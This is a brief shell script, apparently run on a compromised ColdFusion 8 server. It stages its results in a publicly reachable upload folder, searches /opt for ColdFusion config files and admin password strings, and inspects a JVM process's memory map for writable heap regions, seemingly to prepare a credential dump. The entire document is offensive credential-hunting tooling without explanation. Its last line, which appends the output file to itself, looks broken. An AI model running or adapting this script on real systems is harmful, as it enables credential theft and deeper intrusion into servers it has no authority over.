#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw9_out.txt
echo "=== find cfusion8.xml anywhere ===" > $O
find /opt/coldfusion8 /opt -name 'cfusion8.xml' -o -name 'cfusion.xml' 2>/dev/null | head -10 >> $O
echo "=== search all files for adminpassword (whole fs, /opt) ===" >> $O
grep -rlI 'adminpassword\|ADMIN_PASSWORD\|admin_password\|adminPassword' /opt/coldfusion8 2>/dev/null | grep -ivE 'cftags/resources|help|charting/styles' | head -15 >> $O
echo "=== jvm heap region ===" >> $O
cat /proc/6136/maps 2>/dev/null | awk '$4=="rw-p" {print $1, $2, $4}' | head -10 >> $O
echo "=== heap size ===" >> $O
cat /proc/6136/maps 2>/dev/null | awk '$4=="rw-p" {split($1,a,"-"); print strtonum("0x" a[2])-strtonum("0x" a[1])}' | sort -rn | head -3 >> $O
cat $O >> $O
